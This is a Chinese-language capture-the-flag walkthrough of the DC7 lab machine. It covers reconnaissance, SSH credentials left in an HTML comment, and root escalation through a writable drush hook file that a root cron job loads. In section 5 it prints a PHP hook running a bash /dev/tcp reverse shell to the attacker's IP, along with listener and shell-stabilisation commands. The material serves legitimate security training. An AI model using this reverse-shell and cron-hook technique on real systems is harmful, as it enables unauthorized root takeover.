最近把DC系列靶机一台台重刷了一遍打到DC7这台时明显感觉风格变了它不像前面几台那样考你某个具体CVE利用而是把一个很现实的逻辑藏在各种“没人仔细看”的地方。网络层面只有22和80两个端口Web站没有直接能打进去的高危漏洞最终突破口来自首页源码里一行不起眼的注释提权路径则依赖系统自带定时任务里的drush命令执行上下文。如果你正在刷靶机卡在这一台或者想知道这类“信息收集型配置利用型”题目的完整打法这篇报告应该能帮你少走弯路。这台靶机评价为“中等偏下难度”是有道理的不需要背漏洞库也不需要编译内核exploit但对“看得够不够细”和“能不能把已有点串联起来”这两点要求很高。整个测试过程我拆成五个阶段环境准备、信息收集、入口突破、权限提升、复盘心得。下面按顺序讲命令和输出我都会保留方便你复现。1. 靶机环境与开局准备1.1 DC7的题面特点DC7是DC系列靶机的第七台整体设计思路和同系列其他几台差异很大。前几台比如DC1、DC3给的是明确的Drupal漏洞链或者SQL注入点目标是“识别出漏洞版本、找公开exploit、一步一步组合利用”。DC7不一样它默认你已经具备基础的信息收集能力然后把谜题核心放在“开发者留下的痕迹”和“系统里已被配置好的自动化任务”上。下载下来是个OVA镜像导入虚拟化平台后默认网络是NAT模式。我一般会把所有靶机统一改成仅主机模式原因很简单隔离外网干扰同时保证攻击机与靶机能互通反弹shell不会因为网络策略被卡住。1.2 环境配置与初始确认我的测试环境是笔记本上的虚拟机方案攻击机IP为 192.168.56.1靶机启动后自动拿到 192.168.56.107同一个 /24 网段。网络配置好之后我做了三件事用ping确认靶机在线顺便记录IP避免后续换网段导致找不到目标。给靶机拍一个初始快照。后面积累的改动比较多遇到打坏的情况可以快速回滚。在攻击机上确认常用工具版本尤其要确保nc、curl、python3、gobuster没问题。这个步骤看着基础实际漏洞利用阶段很依赖它们临时补工具会打断思路。这些准备工作做完后正式的信息收集才开开始。2. 信息收集端口、CMS指纹与页面细节2.1 全端口扫描结果第一条命令是标准的nmap -sC -sV -p- -T4 192.168.56.107结果非常干净只有两个开放端口端口服务版本信息22/tcpSSHOpenSSH具体版本我略过了80/tcpHTTPnginx这说明攻击面非常集中Web服务是主入口SSH则暗示后面很可能会拿到一套SSH凭据。很多靶机题的入口就是凭据所以看到22端口开放时我就把“找密码”作为重要优先级了。2.2 CMS指纹识别访问 http://192.168.56.107 后页面是一个内容管理系统的站点页面风格、登录路径结构都指向Drupal。我用whatweb和droopescan做了双确认whatweb http://192.168.56.107 droopescan scan drupal --url http://192.168.56.107识别结果是Drupal 7.x。拿到CMS类型之后我尝试通过CHANGELOG.txt和/README.txt这类Drupal标志性文件进一步确认版本细节。为什么要确认这个因为Drupal 7和Drupal 8、9在漏洞利用方式、drush命令兼容性、目录结构上差别很大后续所有操作都要基于正确的版本假设进行。2.3 目录枚举与页面浏览接着用gobuster对常见目录做枚举gobuster dir -u http://192.168.56.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html扫到了一些常规路径比如/sites、/themes、/modules、/CHANGELOG.txt等但真正值得留意的不是扫出来的这些路径而是首页本身。首页是一个维护得很工整的Drupal站点有几篇文章侧边栏有友情链接区块。按照一般渗透流程我打开浏览器开发者工具看元素然后花了点时间在Drupal后台登录页、用户注册状态上尝试看看有没有弱口令或者注册接口。这些尝试没有直接出结果页面大部分交互逻辑都挺规范的。不过当我切换到“查看源代码”而不是只看元素树时在友情链接列表附近发现了一行被HTML注释包裹的内容。这一下就打开了局面。至于具体内容下一节详细说。3. 突破入口藏在源码注释里的SSH凭据3.1 为什么首页值得反复看很多人在信息收集阶段有个通病扫完目录、识别完CMS就急着找漏洞库第一个想到的是“这个Drupal版本有没有公开漏洞”从而忽略最简单的一环——看页面源码。DC7偏偏考验的就是这个。当时我在浏览器里按CtrlU打开原始源代码往下翻到友情链接区块时看到这样一段!-- dc7user : dc7pass --就藏在静态HTML注释里如果不查看源代码默认的开发者工具面板根本不会显示这些因为渲染后的DOM树里注释节点通常不会被直观地展示出来。我一开始还以为是某种蜜罐或干扰信息但转念一想这个靶机设计得比较直白作者大概率是故意把凭据留在源码注释里让选手体会“信息收集要看原始文件”这个主题。3.2 凭据分析与SSH登录验证拿到提示后我第一反应是拿这对组合去试Drupal后台的登录试了一下不对。然后就想到nmap扫描显示22端口开着用SSH试试ssh dc7user192.168.56.107密码输入dc7pass竟然直接登录成功。这个结果比拿到WebShell舒服多了——SSH会话稳定、有完整系统上下文、可以执行任意命令后续所有操作都变得非常自然。登录后我立刻做了基础确认id pwd ls -la sudo -lid显示当前用户是dc7useruid1000属于用户组dc7user。sudo -l没有任何可用条目说明普通用户没有被赋予sudo权限接下来的提权目标是找其他路子。3.3 从SSH开始横向信息收集有SSH之后整个攻击面就扩大了。我沿着几个方向展开查看用户目录下有没有现成的敏感文件查看系统邮件目录时钟任务管理员可能会给用户发提示查看/etc/crontab和系统计划任务确认Web目录下哪些位置对当前用户可写。这些动作看起来平淡但DC7的提权关键恰恰就在邮件和计划任务里而不是在漏洞库里。4. 进一步收集邮件里的drush线索与计划任务4.1 收件箱里的提示邮件进入系统后第一件事是看用户目录没发现什么特别的东西。于是我习惯性地查看了/var/mail/下的邮件文件cat /var/mail/dc7user邮件里有一条简短提示大意是“为了避免每次都手动维护Drupal站点建议使用 drush cron 自动处理缓存和计划任务”。看到“drush”这个关键词我立刻联想到这是Drupal的命令行工具。邮件通常由系统管理员root通过cron发送这往往意味着系统里已经配置了相关定时任务。这个线索非常关键它直接把我引向计划任务和drush配置。4.2/etc/crontab里的自动化任务查看/etc/crontab内容如下*/10 * * * * root cd /var/www/html drush cron这是一个每10分钟执行一次的root计划任务进入Drupal站点根目录然后运行drush cron。这里的决定性信息有两点任务是以root身份运行的运行的是drush而drush在启动时可能会扫描站点目录下的自定义命令文件并加载其中的PHP钩子。如果我们能在drush会扫描的目录中写入一个自定义的.drush.inc文件那么下次root执行cron时drush就会加载并执行我们的代码。这本质上是一种“通过计划任务上下文实现的配置注入提权”比直接找漏洞干净得多。4.3 可写目录确认要利用这条链路还需要满足一个前提dc7user对drush会扫描的某个目录有写权限。我检查了Drupal站点目录的关键位置ls -la /var/www/html/ ls -la /var/www/html/sites/all/ ls -la /var/www/html/sites/default/结果显示/var/www/html/sites/all/下确实存在drush目录并且当前用户对它可写。Drupal的drush机制会在站点目录内扫描自定义命令文件。也就是说只要我往这个目录里放入一个以.drush.inc结尾的文件定义好对应命名的钩子函数root每次执行drush cron时都会加载并触发这个钩子。这是整个提权链路的最后一块拼图。5. 借drush钩子实现root权限5.1 drush的加载机制简单解释一下drush的钩子原理drush是Drupal的命令行工具类似于一个管理框架。它启动时会扫描多个目录下的*.drush.inc文件并执行文件里声明的各类钩子。钩子的命名规则是文件名前缀_drush_init()这个初始化钩子在drush每次启动时都会被调用。换句话说只要满足两个条件就能在root的cron上下文中执行任意PHP代码drush扫描目录里存在可写的.drush.inc文件文件里定义了xxx_drush_init()函数函数内部是我们想执行的恶意逻辑。DC7的整个提权思路本质上就是这两个条件的组合不需要绕过任何安全机制纯粹是配置利用。5.2 写入自定义drush文件在/var/www/html/sites/all/drush/下创建文件dc7.drush.inc?php function dc7_drush_init() { exec(bash -c bash -i /dev/tcp/192.168.56.1/4444 01); }这段代码会在drush被加载的瞬间启动一个反向shell连接到攻击机的4444端口。为什么选这种写法而不是用PHP的system()拼接命令因为bash的/dev/tcp方式不需要额外的nc辅助程序只要目标系统有bash就能工作兼容性更好。写入完成后我还做了一步校验在同一个文件里临时加了一个file_put_contents(/tmp/drush_debug.txt, triggered)然后手动在SSH会话里执行一次drush cc all清缓存命令观察/tmp/下是否生成调试文件。结果确认drush确实加载了这个文件。验证完就把调试代码去掉保留反弹shell避免多余干扰。5.3 等待cron触发并拿到root shell攻击机上提前开好监听nc -lvnp 4444然后就是等待。cron任务每10分钟触发一次最坏情况下等10分钟就能收到连接。由于我是在整点前后写入的文件实际等待时间比预想要短大概三分钟后监听端就出现了连接connect to [192.168.56.1] from (UNKNOWN) [192.168.56.107] ... id uid0(root) gid0(root) groups0(root)看到uid0(root)的那一刻提权完成。这里有个小提醒反弹shell到手后先用id确认身份不要急着翻目录避免会话因意外中断后又要等下一轮cron触发。5.4 巩固会话与读取最终flag反向shell刚拿到时很不稳定因为它是非交互式shell很多操作比如su、切换目录、vim编辑都会被终端行设置卡住。我按惯例先升级成交互式shellpython3 -c import pty; pty.spawn(/bin/bash)之后再按CtrlZ用stty raw -echo; fg把终端重置一下这样命令历史、Tab补全、程序标准输出都能正常展示。做完这些最终在/root/目录下找到了flag文件读取成功cat /root/flag.txt到这里整台靶机被拿下了。整个过程没有Drupal前台漏洞利用没有密码爆破也没有内核提权唯一的“漏洞”是开发环境里遗留的凭据和root配置的自动化任务被错误信任。6. 复盘与踩坑心得6.1 最容易被忽略的线索位置DC7的核心考点在于“你有没有把信息收集做完整”。以下位置是我这次实战中确认的极容易被忽略但恰恰是通关关键首页HTML源码里的注释尤其是友情链接、页脚、版权声明这些容易被略过的区块系统邮件目录/var/mail/root通过cron发送的维护提示通常藏在这里/etc/crontab以及各用户自己的crontabroot定时任务出现drush这类CMS工具时值得深入分析drush扫描目录的写权限比如sites/all/drush这类“看似不重要的业务目录”在配置利用里就是攻击面。建议打靶时养成一个习惯扫描结果和页面结构出来后先花10分钟把网站的原始源码完整看一遍再考虑漏洞利用。很多基础靶场是故意留了这类“低技术含量”入口的比想象中管用。6.2 如果重新打一次我会按什么顺序把这次打通的经验压缩成可复用的清单端口扫描确认只有Web和SSH入口。CMS识别确认Drupal版本理解站点目录结构。深入查看首页源码重点找注释、隐藏字段、开发提示。拿到SSH凭据后先看用户目录、邮件、crontab三个地方。找出root定时任务里调用的工具drush并确认可写目录。写入自定义钩子文件等待定时任务触发反弹shell。稳定shell后读取flag。如果卡住了建议按这个顺序自查而不是盲目扩大扫描范围或跑去爆破后台。DC7的设置非常线性任何一个环节的线索漏掉都会卡壳但它每个线索都摆在明面上只等你回头看。6.3 一点个人习惯上的建议这次打靶给我最大的感受是认真记录每一步输出非常重要。我在SSH阶段就把id、ls、cat /var/mail/dc7user、cat /etc/crontab的结果全部存进了笔记后面写自定义drush文件时反复对照了站点目录的权限信息节省了很多试错时间。另外drush这类工具如果你平时不常用建议先在本地搭建一个同版本Drupal环境手动跑几遍drush cc、drush cron熟悉它的加载机制。这比在靶机上盲目尝试要稳妥得多。最后提醒一下这类实验必须在你拥有合法授权的虚拟环境中进行靶机全套的流量、命令、计划任务改动都在自己可控的网段内完成不要对任何公网未授权目标做同类操作。刷靶机这件事最重要的不是把flag拿到手而是搞明白每一步背后的利用逻辑。